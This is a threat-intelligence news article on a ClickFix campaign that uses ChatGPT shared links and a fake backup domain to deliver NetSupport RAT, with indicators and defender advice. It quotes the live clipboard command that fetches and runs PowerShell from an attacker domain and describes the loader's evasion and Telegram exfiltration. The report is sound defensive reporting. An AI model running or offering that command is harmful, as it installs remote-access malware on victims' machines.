Hackers Abuse Legitimate ChatGPT Shared Links to Deploy NetSupport RAT

Threat actors are abusing legitimate ChatGPT shared-conversation URLs to host social-engineering lures that steer victims into a ClickFix-style infection chain, ultimately delivering a NetSupport remote-access tool (RAT).

The observed chain begins with a legitimate ChatGPT shared link, chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8, which displays a fabricated availability notice claiming: “We are experiencing high traffic now.

Continue on our backup domain.” Rather than using an HTTP redirect or JavaScript-based browser redirection, the page presents a clickable link that requires the victim to manually navigate to openai-backup.one.

The purported backup site is unrelated to OpenAI and was reportedly registered on August 11, 2026.

Once opened, it combines OpenAI-themed branding with a fake Cloudflare verification workflow and a misleading claim involving google.com.

The layered impersonation is designed to make an attacker-controlled page appear legitimate while exploiting users’ familiarity with CAPTCHA and anti-bot checks.

The landing page uses a ClickFix technique: it silently places a PowerShell command into the Windows clipboard, then instructs the victim to press Win+R, Ctrl+V, and Enter to complete a supposed verification step.

That sequence causes the victim not the browser to execute the command through the Windows Run dialog.

The clipboard payload was:

powershell -C "IEX(irm 'brmconfig.com')"; exit

The command retrieves remote content from brmconfig.com using PowerShell’s Invoke-RestMethod and immediately executes it through Invoke-Expression.

This approach bypasses many browser-focused security controls because the final execution is explicitly initiated by the user at the operating-system level.

Joe Reverser Researchers said that, the campaign does not compromise OpenAI’s chatgpt.com infrastructure; instead, it exploits the trust associated with a valid shared ChatGPT page to publish malicious instructions and drive user-initiated execution.

ChatGPT Links Abused

ClickFix campaigns commonly use fraudulent CAPTCHA, Cloudflare, browser-error, or “fix verification” prompts to persuade targets to execute malicious commands.

Security agencies have warned that the familiar Run-dialogue sequence open Run, paste clipboard contents, press Enter is a core ClickFix indicator rather than a legitimate human-verification process.

The first-stage PowerShell loader includes several anti-analysis and evasion functions.

It checks for analysis-oriented computer names including CLEAN and an XOR-decoded CLEN, hides the console window through Windows API calls, and checks for a marker file under %ProgramData%\.ch_912137a8cc4c.

It then Base64-decodes a second PowerShell component, writes it to a GUID-named temporary file, and launches it with -NoProfile, -ExecutionPolicy Bypass, and -WindowStyle Hidden.

These arguments reduce visible evidence of execution while bypassing standard PowerShell execution-policy restrictions.

The second-stage loader identifies the operation as ClickHunter and collects extensive victim metadata: hostname, username, domain, public IP address, city, region, country, ISP, time zone, Windows version, CPU architecture, administrator status, and execution time.

It queries ip-api.com for geolocation data and falls back to api.ipify.org for public-IP discovery.

The stolen system profile is transmitted to a Telegram bot associated with chat ID -1004488044983, giving operators a lightweight command-and-control and victim-tracking channel.

The malware then downloads https://brmconfig.com/video.mp4, a valid 6.5 MB MP4 file that conceals an encrypted PowerShell payload in a custom MP4 uuid box.

The loader locates UUID 6d5c057efe144b31bce5b7cf90b066a5, decrypts the embedded data with a repeating-key XOR routine, and GZip-decompresses it into a PowerShell script exceeding 16.8 million characters.

The final unpacked bundle contains 20 embedded files, including app.EXe, supporting DLLs, configuration files, and binaries.

Analysis of app.EXe identified strings referencing “NetSupport Client” and “NetSupport Manager Remote Control.” Its SHA-256 hash, 56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422, was independently classified by Joe Sandbox as NetSupport RAT.

NetSupport Manager is legitimate remote-control software used by IT teams, with features such as encrypted remote access, logging, and authentication.

However, threat actors frequently weaponize legitimate remote-monitoring tools to obtain covert access to compromised endpoints.

Defenders should block openai-backup.one and brmconfig.com, hunt for PowerShell executions containing IEX(irm, review Telegram-bound outbound traffic, and inspect RunMRU artifacts for suspicious pasted commands.

Although this loader attempts to clear HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, endpoint telemetry, PowerShell Script Block Logging, process-creation logs, proxy records, and DNS telemetry may preserve evidence.

Organizations should also train users that legitimate CAPTCHA or Cloudflare checks never require opening Windows Run, pasting clipboard content, or executing PowerShell.

OpenAI’s shared-link feature allows anyone with the URL to view the linked conversation, and malicious shared content can be reported through the platform’s “Report conversation” option.

★ Which Security Tools Should You Cut? Score Them on One Page – Download the Inherited Security Stack Guide